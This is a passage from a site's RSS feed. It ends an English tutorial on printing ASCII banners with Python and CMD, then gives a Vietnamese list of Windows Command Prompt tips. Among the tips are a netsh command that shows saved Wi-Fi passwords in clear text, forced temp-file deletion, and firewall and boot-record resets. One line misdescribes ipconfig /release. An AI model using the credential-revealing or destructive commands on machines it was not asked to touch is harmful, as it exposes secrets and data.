<figure id="attachment_53200" aria-describedby="caption-attachment-53200" style="width: 800px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-53200 size-full" src="https://anonyviet.com/wp-content/uploads/2023/11/tao-banner-ky-tu-trong-python-va-cmd-1.jpg" alt="Create character banners in Python and CMD" width="800" height="422" title="Instructions for creating character banners in Python and CMD with just a few simple steps 6" srcset="https://anonyviet.com/wp-content/uploads/2023/11/tao-banner-ky-tu-trong-python-va-cmd-1.jpg 800w, https://anonyviet.com/wp-content/uploads/2023/11/tao-banner-ky-tu-trong-python-va-cmd-1-300x158.jpg 300w, https://anonyviet.com/wp-content/uploads/2023/11/tao-banner-ky-tu-trong-python-va-cmd-1-768x405.jpg 768w, https://anonyviet.com/wp-content/uploads/2023/11/tao-banner-ky-tu-trong-python-va-cmd-1-750x396.jpg 750w" sizes="(max-width: 800px) 100vw, 800px"/><figcaption id="caption-attachment-53200" class="wp-caption-text">Click Copy on the result you like</figcaption></figure>
<p><strong>Step 4:</strong> Go to Python, compose the code:</p>
<blockquote>
<p>font = “””</p>
<p>[Dán Banner đã copy vào đây]</p>
<p>“””</p>
<p>print(font)</p>
</blockquote>
<p>Or:</p>
<blockquote>
<p>def banner():<br />font = “””</p>
<p>[Dán Banner đã copy vào đây]</p>
<p>“””<br />print(font)</p>
<p>if __name__ == “__main__”:<br />banner()</p>
</blockquote>
<p>Or:</p>
<blockquote>
<p>banner = “””</p>
<p>[Dán Banner đã copy vào đây]</p>
<p>“””</p>
<p>print(banner)</p>
</blockquote>
<p>Alternatively, you can run the banner in Command Prompt, by:</p>
<p><strong>Step 1:</strong> After completing the code, you need to save the Python file with the .py extension, for example banner.py</p>
<p><strong>Step 2:</strong> Right click on banner.py > Select &#39;Copy as path&#39; to copy the path</p>
<p><strong>Step 3:</strong> Press the Windows+R key combination, type cmd, and press Enter to open Command Prompt</p>
<p><strong>Step 4:</strong> In CMD, you need to navigate to the directory containing your Python file, using the command</p>
<blockquote>
<p>CD [dán đường dẫn vào]</p>
</blockquote>
<p>For example: cd C:\Users\ABC\Documents</p>
<p><strong>Step 5:</strong> You type the name of your Python file, followed by the python keyword, to run that file.  For example:</p>
<blockquote>
<p>python banner.py</p>
</blockquote>
<p>If successful, you will see your character banner printed in CMD, beautiful and impressive.</p>
<h2 id="ftoc-loi-ket" class="ftwp-heading"><strong>Epilogue</strong></h2>
<p>Way<strong> create character banners in Python and CMD</strong> not too difficult.  This way, you can create unique and impressive banners.  Wishing you a successful application!</p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;53198&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;title&quot;:&quot;H\u01b0\u1edbng d\u1eabn t\u1ea1o banner k\u00fd t\u1ef1 trong Python v\u00e0 CMD ch\u1ec9 v\u1edbi v\u00e0i b\u01b0\u1edbc \u0111\u01a1n gi\u1ea3n&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>  The article scored: 5/5 &#8211; (100 votes)</p>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/instructions-for-creating-character-banners-in-python-and-cmd-with-just-a-few-simple-steps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2023/11/tao-banner-ky-tu-trong-python-va-cmd.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt)</title>
		<link>https://en.anonyviet.com/mot-so-thu-thuat-thu-vi-ban-co-the-lam-tren-cmd-command-prompt/</link>
					<comments>https://en.anonyviet.com/mot-so-thu-thuat-thu-vi-ban-co-the-lam-tren-cmd-command-prompt/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Fri, 03 Feb 2023 20:35:07 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[bạn]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[cơ]]></category>
		<category><![CDATA[Command]]></category>
		<category><![CDATA[Làm]]></category>
		<category><![CDATA[Một]]></category>
		<category><![CDATA[Prompt]]></category>
		<category><![CDATA[số]]></category>
		<category><![CDATA[thế]]></category>
		<category><![CDATA[thử]]></category>
		<category><![CDATA[thuật]]></category>
		<category><![CDATA[trên]]></category>
		<category><![CDATA[vị]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=8935</guid>

					<description><![CDATA[Trên Windows đã có giao diện đồ họa (GUI) giúp bạn dễ tùy chỉnh mọi thứ. Nhưng công dụng của Command Prompt (CMD) một công cụ dòng lệnh lại chứa một sức mạnh mà nhiều người không để ý đến. Đôi khi bạn làm việc trên CMD lại nhanh hơn trên GUI rất nhiều. Công [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div id="ftwp-postcontent">
<p><strong>Trên Windows đã có giao diện đồ họa (GUI) giúp bạn dễ tùy chỉnh mọi thứ. Nhưng công dụng của Command Prompt (CMD) một công cụ dòng lệnh lại chứa một sức mạnh mà nhiều người không để ý đến. Đôi khi bạn làm việc trên CMD lại nhanh hơn trên GUI rất nhiều. Công dụng CMD là không thể chối cãi trong một số tình huống, đặc biệt là khi bạn biết cách tận dụng hết tất cả lợi thế của nó.</strong></p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Tham gia kênh <span style="color: #0000ff;">Telegram</span> của <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span> 👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p>Bạn chỉ cần nhập một vài ký tự là xong công việc thay vì phải nhấp qua một loại các menu phiền phức. Anonyviet đã soạn ra một danh sách một số <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2F%3Fs%3Dcmd" rel="noopener" class="local-link">lệnh CMD thông dụng</a>. Một số lệnh mà mọi người nên biết để sử dụng và những thứ nâng cao hơn như điều chỉnh hoặc khắc phục sự cố cho PC của bạn.</p>
<h4 id="ftoc-dung-lenh-dang-chay-tren-cmd" class="ftwp-heading"><strong>Dừng lệnh đang chạy trên CMD</strong></h4>
<p>Khi bạn muốn dừng một lệnh đang hoạt động trên CMD hãy nhấn <code>Ctrl + C</code>. Lệnh này sẽ hũy tất cả những thao tác đang có trên CMD và cho phép bạn bắt đầu một lệnh khác.  Nhập lệnh <code>cls</code> xóa sạch những gì hiển thị trong cửa sổ CMD.</p>
<h4 id="ftoc-menu-cai-dat-command-prompt" class="ftwp-heading"><strong>Menu cài đặt Command Prompt</strong></h4>
<p>Click chuột phải vào thanh title (tiêu đề), và chọn Propreties để mở menu cmd. Trong menu này, bạn có thể thay đổi font chữ, bố cục, và màu sắc của lệnh, cũng như các tuỳ chọn như <strong>Quick Edit</strong> mode, cho phép bạn dán bất kỳ đoạn văn bản nào vào cmd bằng cách nhấn chuột phải và chọn paste.</p>
<p><em><strong>P/s:</strong> Bạn có thể đổi tên thanh tiêu đề trên cmd bằng đoạn lệnh title (tên bạn muốn đổi). Ví dụ: title Anonyviet.com</em></p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F10%2Fdoi-tieu-de-cmd-1.jpg" rel="noopener" class="local-link"><img decoding="async" class="aligncenter size-full wp-image-15771" src="https://anonyviet.com/wp-content/uploads/2019/10/doi-tieu-de-cmd-1.jpg" alt="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 7" width="718" height="350" srcset="https://anonyviet.com/wp-content/uploads/2019/10/doi-tieu-de-cmd-1.jpg 718w, https://anonyviet.com/wp-content/uploads/2019/10/doi-tieu-de-cmd-1-300x146.jpg 300w" sizes="(max-width: 718px) 100vw, 718px" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 13"/></a></p>
<h4 id="ftoc-phim-tat-trong-command-prompt" class="ftwp-heading"><strong>Phím tắt trong Command Prompt</strong></h4>
<p>Nhấn phím mũi tên lên hoặc xuống để hiển thị lại các lệnh mà bạn vừa nhập trước đó. Các phím tắt khác:</p>
<p><strong>Tab</strong>: Khi bạn đang nhập đường dẫn, hoặc tên file, thư mục, nhấn tab để tự động hoàn thành và chuyển qua các thư mục có tên giống nhau. Ví dụ: mình có 2 thư mục là Ano và Anony, khi mình nhập “cd a” và nhấn tab, câu lệnh sẽ biến thành “cd Ano”, tab một lần nữa sẽ thành “cd Anony”.</p>
<p><strong>Ctrl + M: </strong>Bật chế độ Mark mode, cho phép bạn di chuyển con trỏ đến bất kì đâu bằng phím mũi tên.</p>
<p><strong>Ctrl + C hoặc V: </strong>Kể từ Windows 10, bạn có thể sao chép và dán văn bản trên cmd.</p>
<p><strong>Ctrl + F:  </strong>Cho phép bạn tìm kiếm văn bản nhưng chỉ làm được trên Windows 10.</p>
<p><strong>Ctrl + Shift + Cuộn chuột: </strong>Tăng hoặc giảm độ trong suốt của cmd, có thể thay cuộn thuột bằng phím + và -.</p>
<p><strong>Alt + Enter: </strong>Bật chế độ toàn màn hình và không hiển thị thanh tiêu đề, có thể thay bằng F11.</p>
<p><strong>Kéo và thả thư mục để chèn đường dẫn</strong></p>
<p>Ngoài việc có thể sao chép, dán văn bản và tab các thư mục, bạn có thể kéo và thả trực tiếp các thư mục vào cmd để tự động chèn đường dẫn. Tiện nhỉ, hồi đó gõ đường dẫn mỏi tay vãi các bác ạ, copy các kiểu, sau này mới biết tới open cmd here, cái này còn tiện hơn cái đó nữa.</p>
<p><img decoding="async" src="https://lh3.googleusercontent.com/REgI4Zt_RPHrf9X3TUB0paoNF9o7YqIuQQwDy1p5itCy3YDoyzvqr5yZYla0MOG0lW6WkMI4UhYxzFMwPbdtvdOtCcHDf7vo-P9BZHMG9Fc7V0EASYnn7nvfJw5nDgZf-8lO63nREakQkRdxWAw2HvECTYUQ7jGYKnUIGz-jyn9zTp3WOnxcWjQL3509dzPXgwwSsdTCOc04fzMfpWU1pklZUnmEMIcNT9OJcunRI6RxMtGD4PfRDu0GJ0fanIFY9kNMydhlZtUq6LDPdyQG5zINadpHHX9Ae24WvvQAqdx6J2JaBfW0vTcAYUw1bUp2rKNsGbesrErXXdskccJBbyfch559JRburgd3V-oVVg5s7lWgkH5qyr85MJn3i6NQYn_I8FFKswL5YzLqEtiKzRGnYeWZW-_LfMOtRqAldEKPxP1-k3eoxnqPnfLtF4zIhzUi3X5uGR1cPtmgrSlNR8vVkm22Sfc_fe8O8UGzySFrWFDHJaVM0XKh-EUKwVHlAaDK4FmH909Gk8ONZjEroWNXUgxxvJYSonBC7G7N1Fb0veN29sIG2NryiN1p3PuVNPVzpTcy62GW1skc3PJ_Yb27VhWpEwa7VAgusRUeZ1psr_DdKplyMEb5pQbw6XUo48yfpRSq-WjEqRv_m9-ggsmhBjZwKG6qpbGgiD4xCwZXY4nJQe4CLN0=w1000-no-tmp.jpg" alt="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 8" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 14"/></p>
<p><strong>Các phím chức năng từ F1 – F9 cũng là phím tắt</strong></p>
<p>Các phím chức năng (F) trên đầu bàn phím cũng là các phím tắt chủ yếu nhập lại các lệnh trước đó mà không cần gõ lại chúng.</p>
<ul>
<li><strong>F1: </strong>Nhấn hoặc giữ phím này sẽ gõ lại từng chữ của lệnh mà bạn vừa nhập.</li>
<li><strong>F2:</strong> Sao chép lệnh vừa nhập cho đến kí tự đầu tiên được chỉ định.</li>
<li><strong>F3:</strong> Nhập lại dòng lệnh trước đó mà bạn vừa nhập.</li>
<li><strong>F4:</strong> Đảo ngược của F2 – tự động xoá đến kí tự được chỉ định tính từ vị trí con trỏ, ví dụ: Anonyviet, con trỏ đang ở chữ A, nhấn F4 và nhập v, dòng lệnh giờ sẽ còn viet.</li>
<li><strong>F5:</strong> Lùi lại các lệnh mà bạn đã nhập, giống phím mũi tên.</li>
<li><strong>F6:</strong> Chèn Ctrl + Z (^Z) trong cmd, những gì đằng sau dấu này sẽ được bỏ qua.</li>
<li><strong>F7:</strong> Mở danh sách cho phép bạn chọn các lệnh đã nhập trước đó.</li>
<li><strong>F8:</strong> Hoạt động tương tự như F5 nhưng không dừng lại ở cuối lịch sử lệnh. Khi ở cuối lịch sử, nó sẽ quay về lệnh ban đầu và tiếp tục.</li>
<li><strong>F9:</strong> Cho phép bạn nhập lại lệnh trước đó bằng cách nhập số thứ tự của lệnh.</li>
</ul>
<h4 id="ftoc-nhap-nhieu-lenh-cung-mot-luc" class="ftwp-heading"><strong>Nhập nhiều lệnh cùng một lúc</strong></h4>
<p>Thêm <code>&amp;&amp;</code> giữa các lệnh sẽ cho phép bạn nhập nhiều lệnh cùng một lúc để được thực thi liên tiếp. Ví dụ:</p>
<p><code>tasklist &amp;&amp; netstat -b</code></p>
<h4 id="ftoc-xem-cac-tac-vu-dang-chay-va-hien-thi-thong-tin-ket-noi-mang" class="ftwp-heading"><strong>Xem các tác vụ đang chạy và hiển thị thông tin kết nối mạng</strong></h4>
<p>Lệnh <code>tasklist</code> sẽ liệt kê tất cả các tác vụ đang chạy trên máy tính của bạn cùng với các chi tiết như mã nhận dạng quy trình và mức sử dụng bộ nhớ của chúng, trong khi <code>netstat -b</code> sẽ tạo ra danh sách tất cả các tác vụ có kết nối mạng.</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F10%2Fnetstat.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-15775 size-full" src="https://anonyviet.com/wp-content/uploads/2019/10/netstat.jpg" alt="Xem các tác vụ đang chạy và hiển thị thông tin kết nối mạng bằng cmd" width="607" height="341" srcset="https://anonyviet.com/wp-content/uploads/2019/10/netstat.jpg 607w, https://anonyviet.com/wp-content/uploads/2019/10/netstat-300x169.jpg 300w" sizes="auto, (max-width: 607px) 100vw, 607px" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 15"/></a></p>
<h4 id="ftoc-liet-ke-moi-trinh-dieu-khien-thiet-bi-tren-pc-cua-ban-driver" class="ftwp-heading"><strong>Liệt kê mọi trình điều khiển thiết bị trên PC của bạn (Driver)</strong></h4>
<p>Có nhiều cách để tạo danh sách các trình điều khiển thiết bị trong cmd. Câu lệnh dưới đây bao gồm thông tin bổ sung như trạng thái của trình điều khiển thiết bị và vị trí thư mục – tên file được liên kết:</p>
<p><code><em>driverquery /FO list /v</em></code></p>
<p><em><strong>Lưu kết quả lệnh vào văn bản hoặc clipboard</strong></em></p>
<p><em>Bạn có thể lưu kết quả của lệnh như danh sách tác vụ hoặc trình điều khiển vào tệp văn bản mới bằng cách thêm “&gt;” cộng với đường dẫn muốn lưu. Ví dụ:</em></p>
<p><code><em>driverquery &gt; C:\Users\AnonyViet\Desktop\output.txt</em></code></p>
<h4 id="ftoc-xoa-cac-tap-tin-tam-thoi-trong-o-dia" class="ftwp-heading"><strong>Xoá các tập tin tạm thời trong ổ đĩa</strong></h4>
<p>Một số file tạm trên ổ đĩa của bạn có thể bị xoá bằng các lệnh sau (/q bỏ qua các yêu cầu xác nhận, /f bỏ qua thuộc tính chỉ đọc và xoá chúng, /s xoá nội dung trong các thư mục con).</p>
<ul>
<li>Xoá các tệp người dùng tạm thời: <code><em>del /q /f /s %temp%\*</em></code></li>
<li><em>Xoá các tệp hệ thống tạm thời (yêu cầu quyền admin): </em><code><em>del /s /q C:\Windows\temp\*</em></code></li>
<li><em>Hoặc bạn cũng có thể chạy cùng lúc 2 lệnh: </em><code><em>del /q /f /s %temp%\* &amp;&amp; del /s /q C:\Windows\temp\*</em></code></li>
</ul>
<p>Nếu không đủ dung lượng lưu trữ, thì đây là mọt giải pháp tốt giúp tối ưu hệ thống và không gian lưu trữ. Ngoài ra còn có các cách khác để giải phóng dung lượng trên Windows, bao gồm các phương pháp Cmd để khởi chạy Disk Cleanup nâng cao và một cách khác để tắt chế độ ngủ đông bách cách xoá tệp hệ thống hiberfil.sys.</p>
<h4 id="ftoc-mo-ban-phim-ao" class="ftwp-heading"><strong>Mở bàn phím ảo</strong></h4>
<p>Lệnh <code>osk</code> sẽ mở bàn phím ảo trên màn hình Windows, cho phép bạn ấn phím bằng chuột thay vì gõ tay.</p>
<h4 id="ftoc-hen-gio-tat-may-tinh" class="ftwp-heading"><strong>Hẹn giờ tắt máy tính</strong></h4>
<p>Lệnh <code>shutdown</code> có thể được sử dụng để tắt, khởi động lại,…bao gồm cả việc buộc các ứng dụng mà bạn ghét phải tắt, hiện thị thông báo khi tắt máy và chỉ định số giây bạn muốn hẹn giờ tắt máy. Ví dụ: <code>shutdown -s -f -t 3600</code> sẽ tắt PC của bạn sau 3600s – 1 giờ.  Dùng lệnh<code> shutdown -a</code> để huỷ lệnh.</p>
<h4 id="ftoc-tao-diem-truy-cap-wifi-va-xem-mat-khau-wifi" class="ftwp-heading"><strong>Tạo điểm truy cập Wifi và xem mật khẩu Wifi</strong></h4>
<p>Nếu card wifi của bạn hỗ trợ tính năng này, bạn có thể biến PC của mình thành một điểm phát wifi công cộng từ Cmd.</p>
<p>Kiểm tra xem phần cứng của bạn có hỗ trợ tính năng này hay không: nhập <code><em>netsh wlan show drivers </em></code><em>và tìm dòng có nội dung “</em>Hosted network support: Yes<em>”</em><em>.</em></p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F10%2Fshare-wifi-cmd.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-15772 size-full" src="https://anonyviet.com/wp-content/uploads/2019/10/share-wifi-cmd.jpg" alt="Tạo điểm truy cập Wifi và xem mật khẩu Wifi bằng CMD" width="371" height="357" srcset="https://anonyviet.com/wp-content/uploads/2019/10/share-wifi-cmd.jpg 371w, https://anonyviet.com/wp-content/uploads/2019/10/share-wifi-cmd-300x289.jpg 300w" sizes="auto, (max-width: 371px) 100vw, 371px" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 16"/></a></p>
<p>Bạn có thể tạo điểm phát sóng bằng lệnh: <code><em>netsh wlan set hostednetwork mode=allow ssid=</em><strong><em>YOURSSID</em></strong><em> key=</em></code><strong><em><code>YOURPASSWORD</code> </em></strong><strong>(YOURSSID là tên điểm phát sóng, còn YOURPASSWORD là mật khẩu)</strong></p>
<p>Để kích hoạt điểm phát sóng, ta dùng lệnh: <code><em>netsh wlan start hostednetwork </em></code>để tắt điểm phát sóng bạn thay từ “start” thành “stop” và bạn có thể kiểm tra trạng thái của điểm phát sóng của mình bằng lệnh <em><code>netsh wlan show hostednetwork</code>.</em></p>
<p>Bạn cũng có thể bật chia sẻ kết nối thông qua menu GUI. Vào <strong>Network and Sharing &gt; Change adapter settings </strong>hoặc truy cập vào<strong> Control Panel &gt; Network and Internet &gt; Network Connections</strong> và bạn có thể thấy adapter mạng được kết nối với PC của bạn.</p>
<p>Phải chuột vào thiết bị được kết nối với Internet và chọn <strong>Properties</strong>. Trong tab <strong>Sharing</strong>, click vào phần <strong>“Allow other network users to connect through this computer’s Internet connection.”</strong></p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F10%2Fshare-wifi-cmd-2.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-15773 size-full" src="https://anonyviet.com/wp-content/uploads/2019/10/share-wifi-cmd-2.jpg" alt="share wifi bằng cmd" width="456" height="367" srcset="https://anonyviet.com/wp-content/uploads/2019/10/share-wifi-cmd-2.jpg 456w, https://anonyviet.com/wp-content/uploads/2019/10/share-wifi-cmd-2-300x241.jpg 300w" sizes="auto, (max-width: 456px) 100vw, 456px" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 17"/></a></p>
<p>Để hiển thị mật khẩu Wifi của bạn, nhập lệnh <em><code>netsh WLAN show profile name=YOURPROFILE key=clear</code>  </em><em>(thay “YOURPROFILE” bằng tên wifi mà bạn muốn biết mật khẩu).</em></p>
<p><em>Lệnh này sẽ xoá mạng mà bạn không sử dụng: </em><em>netsh WLAN delete profile name=YOURPROFILE</em></p>
<h4 id="ftoc-lenh-khac-phuc-nhanh-cac-su-co-ket-noi-mang" class="ftwp-heading"><strong>Lệnh khắc phục nhanh các sự cố kết nối mạng</strong></h4>
<p>Bạn gặp sự cố với kết nối mạng? Đừng lo, đã có ipconfig luôn đồng hành bên bạn:</p>
<ul>
<li><code><em>ipconfig /release</em></code>: hiện thị địa chỉ IP cục bộ hiện tại của bạn.</li>
<li><code><em>ipconfig /renew</em></code>: Tạo địa chỉ Ip cục bộ mới.</li>
<li><code><em>ipconfig /flushdns</em></code>: Xoá cache DNS.</li>
</ul>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F10%2Fsua-ket-noi-mang.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-15774 size-full" src="https://anonyviet.com/wp-content/uploads/2019/10/sua-ket-noi-mang.jpg" alt="Lệnh khắc phục nhanh các sự cố kết nối mạng" width="451" height="334" srcset="https://anonyviet.com/wp-content/uploads/2019/10/sua-ket-noi-mang.jpg 451w, https://anonyviet.com/wp-content/uploads/2019/10/sua-ket-noi-mang-300x222.jpg 300w" sizes="auto, (max-width: 451px) 100vw, 451px" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 18"/></a></p>
<p>Đối với các vấn đề xảy ra với kết nối máy tính, ta cần dùng tới một số lệnh khá phức tạp để giải quyết nó. Lưu ý rằng bạn có thể phải cấu hình lại adapter của mình. Nếu bạn cài đặt thủ công, đặc biệt là khi reset TCP/IP và tường lửa của Windows.</p>
<p>Tất cả các lệnh dưới đây đều yêu cầu khởi động lại Windows.</p>
<ul>
<li><code><em>netsh winsock reset</em></code>: Đặt lại winsock về trạng thái mặc định, loại bỏ các cài đặt của nhà cung cấp dịch vụ, <em>netsh winsock show catalog </em><em>để hiện thị các cài đặt này.</em></li>
<li><code><em>netsh int ip reset</em></code><em><code>all</code>: </em><em>Xoá và cài đặt lại TCP/IP, viết lại một vài</em> associated registry keys (khoá đăng ký) liên quan.</li>
<li><em><code>netsh advfirewall reset</code>: </em><em>Khôi phục lại tường lửa về mặc định, xoá các cài đặt cấu hình trước đó.</em></li>
<li><em><code>nbtstat -r</code>: </em><em>Xoá bộ nhớ đệm NetBIOS và tải lại các mục được gắn thẻ #PRE từ tệp Lmhosts.</em></li>
<li><em><code>nbtstat -rr</code>: </em><em>Khởi động lại NetBIOS cho máy tính đã được đăng ký với máy chủ WINS.</em></li>
</ul>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2019%2F10%2Freset-netbios.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-15770" src="https://anonyviet.com/wp-content/uploads/2019/10/reset-netbios.jpg" alt="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 9" width="232" height="338" srcset="https://anonyviet.com/wp-content/uploads/2019/10/reset-netbios.jpg 232w, https://anonyviet.com/wp-content/uploads/2019/10/reset-netbios-206x300.jpg 206w" sizes="auto, (max-width: 232px) 100vw, 232px" title="Một số thủ thuật thú vị bạn có thể làm trên CMD (Command Prompt) 19"/></a></p>
<h4 id="ftoc-khac-phuc-nhanh-cac-su-co-khoi-dong" class="ftwp-heading"><strong>Khắc phục nhanh các sự cố khởi động</strong></h4>
<p>Vào một buổi sáng đẹp trời khi mới chia tay người yêu. Bạn bật PC của mình lên với mong muốn tìm được vài bộ phim để giải toả áp lực với thằng em út trong gia đình. Nhưng khi máy vừa bật lên thì thông báo hiện ra “reboot and select proper boot device?” hoặc “NTLDR is missing”. Những phương pháp dưới đây sẽ giúp bạn sửa chữa nhanh chóng vấn đề để tiếp tục tìm phim hoặc dùng điện thoại để làm việc đó, tuỳ bạn vậy hihi.</p>
<p><strong>Lưu ý:</strong> Những lệnh này được thực hiện trong môi trường khôi phục, chẳng hạn như từ USB boot Windows 10.</p>
<ul>
<li><code><em>bootrec /fixmbr</em></code></li>
<li><code><em>bootrec /fixboot</em></code></li>
<li><code><em>bootrec /scanos</em></code></li>
<li><code><em>bootrec /rebuildbcd</em></code></li>
</ul>
<p>Trong quá khứ, các lệnh đó hoạt động rất trơn tru. Nhưng khi mình thử nghiệm trên máy ảo bằng cách xoá phân vùng của hệ thống và cố gắng khôi phục bằng cách nhập các dòng đó. Thì thật không may, quyền truy cập đã bị từ chối khi mình nhập lệnh bootrec /fixboot và mình không thể tìm thấy cách giải quyết, vì vậy Windows vẫn không thể khởi động được.</p>
<p>Nhưng đó là chuyện của quá khứ, các lệnh bcdboot và bootect giờ đây đã hoạt động để khởi động lại Windows, mặc dù mình chỉ định dạng lại phân vùng hệ thống:</p>
<ul>
<li><em><code>bcdboot C:\Windows</code>: </em><em>Tạo lại các tệp phân vùng hệ thống được sao chép từ C:\Windows. Mặc dù định dạng này hoạt động từ bên trong Windows, xem ghi chú bên dưới về việc chạy lệnh này từ bảng điều khiển khôi phục bên ngoài Windows.</em></li>
<li><em><code>bootsect /nt60 SYS /mbr</code>: </em><em>Viết lại mã khởi động chính trên phân vùng hệ thống và cập nhật bản ghi khởi động chính.</em></li>
</ul>
<p>*<strong>Note: </strong>Nếu bạn chạy bcdboot C:\Windows từ bảng điều khiển khôi phục bên ngoài cài đặt Windows và xảy ra lỗi thì bạn phải xem phân vùng cài Windows của mình nằm ở ổ đĩa nào, vì khi bạn chạy lệnh ở môi trường này, tên các ổ đĩa sẽ bị xáo trộn. Lệnh diskpart sẽ liệt kê và hiển thị dung lượng ổ đĩa để bạn có thể biết đâu là ổ cài Windows (gõ exit để đóng diskpart). Để chạy bcdboot từ môi trường hồi phục bạn nhập lệnh: <em>D:\Windows /s C:\</em></p>
<p><strong>Chú thích:</strong></p>
<p>Master Boot Record – Khu vực được tạo ra đầu tiên trên ổ đĩa và chứa bộ khởi động cũng như thông tin về các phân vùng trên ổ đĩa.</p>
<p>Volume Boot Record hay còn được gọi là Partition Boot Sector/System Partition (Phân vùng khởi động/Phân vùng hệ thống) trong thuật ngữ MS. Khu vực chứa thông tin để tải hệ điều hành.</p>
<h4 id="ftoc-khac-phuc-nhanh-cac-loi-tren-windows" class="ftwp-heading"><strong>Khắc phục nhanh các lỗi trên Windows</strong></h4>
<p>Bạn vẫn không thể khởi động Windows? Như cách mà nyc không chịu quay lại với bạn? Bạn đang phải trải nghiệm bluescreen hoặc một số lỗi khác? Trải nghiệm cái cảm giác bị cho vào friendzone? Đừng lo, Windows có các công cụ tích hợp để quét và thay thế các tệp hệ thống bị hỏng:</p>
<ul>
<li><em><code>sfc /scannow</code>: </em><em>Thực hiện bên trong Win.</em></li>
<li><em><code>sfc /scannow /offbootdir=D:\ /offwindir=D:\Windows</code>: </em><em>Chạy bên ngoài Win chẳng hạn như ổ đĩa khôi phục.</em></li>
</ul>
<p>Lệnh DISM có thể quét Win để tìm các tệp bị hỏng và tự động sửa chửa chúng.</p>
<ul>
<li><em><code>DISM /Online /Cleanup-Image /RestoreHealth</code>: </em><em>Bên trong Win.</em></li>
<li><em><code>DISM /Image:D:\ /Cleanup-Image /RestoreHealth</code>: </em><em>Bên ngoài win.</em></li>
</ul>
<h4 id="ftoc-ma-hoa-nen-hoac-sao-luu-tep-tin" class="ftwp-heading"><strong>Mã hoá, nén hoặc sao lưu tệp tin</strong></h4>
<p>Các tệp và thư mục có thể được mã hoá hoặc nén và sẽ không thể giải nén một cách nhanh chóng được – đảm bảo rằng bạn không thay đổi đích đến của lệnh.</p>
<p><strong>Mã hoá: </strong><code><em>cipher /e C:\Users\TechSpot\Desktop\Folder </em></code><em>(thêm thuộc tính /h để ẩn file hoặc folder)</em></p>
<p><em><strong>Giải mã</strong></em><strong>: </strong><code><em>cipher /d C:\Users\TechSpot\Desktop\Folder</em></code></p>
<p><strong>Nén: </strong><code><em>compact /c /s:C:\Users\TechSpot\Desktop\Folder</em></code></p>
